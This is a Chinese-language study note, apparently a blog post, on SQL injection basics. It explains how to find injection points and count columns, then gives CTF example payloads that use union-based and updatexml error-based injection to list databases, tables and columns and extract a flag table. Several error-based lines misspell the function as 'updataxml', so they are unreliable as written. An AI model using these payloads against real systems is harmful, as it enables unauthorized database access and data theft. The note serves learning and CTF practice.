【学习笔记】SQL注入基础以及命令

本文深入探讨SQL注入攻击的原理及防御方法,包括登录验证流程、SQL注入点的识别与利用,以及常见SQL查询技巧。通过具体CTF实例,演示如何使用union联合查询和updateXML函数进行数据库信息获取。

登录检验顺序方式

1)一同检验账号密码

2)先检验账号 再检验密码

常用SQL查询语句select 字段 from 表单 where 字段范围

SQL注入点类型:

varchar字符型:需要引号包含

int整数型

如何发现注入点:

GET POST HTTP头COOKIES 只要是和数据库交互的都可能存在注入

union联合注入:多个select语句合并

条件:前后select字段数目一样

如何判断select字段数目,使用order by查询语句进行排序,一旦超过字段数目则会报错

然后用select 1,2,直到最大数 确定显示位置

有些程序只读取第一条查询结果解决方案:

使第一条查询不成立id=-1

常用SQL查询语言

数据库名 select 1,schema_name from information_schema.schemata

表名 select 1,table_name from information_schema.tables where table_schema=database()

字段 select 1,column_name from information_schema.columns where table_name="表名"

 

ctf实例 union查询

3' union select 1,database() --'

还有user() , version() ,@@datadir , @@version_compile_OS

3' union select 1,group_concat(schema_name) from information_schema.schemata -- '
3' union select 1,group_concat(table_name) from information_schema.tables where table_schema="sqli" -- '
3' union select 1,group_concat(column_name) from information_schema.columns where column_name="flag" -- ' 或者如下
3' union select 1,(select column_name from information_schema.columns where table_schema="sqli" and table_name="flag" limit 0,1) -- '
3' union select 1,group_concat(flag) from sqli.flag -- '

 

updataxml报错

3 union select  updataxml(1,concat(0x26,(select(group_concat(table_name))from information_schema.tables where table_schema="sqli"),0x26),2)

其他的和上面差不多,除了最后一步 因为报错有字数限制 不能显示flag 所以要用到right函数

3 union select updataxml(1,concat(0x26,right((select(group_concat(flag))from sqli.flag),31),0x26),1)

UpdateXML(xml_target, xpath_expr, new_xml)

xml_target:: 需要操作的xml片段

xpath_expr: 需要更新的xml路径(Xpath格式)

new_xml: 更新后的内容

原理就是因为xpath格式错误了 里面的内容不符合xpath格式 所以报错

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值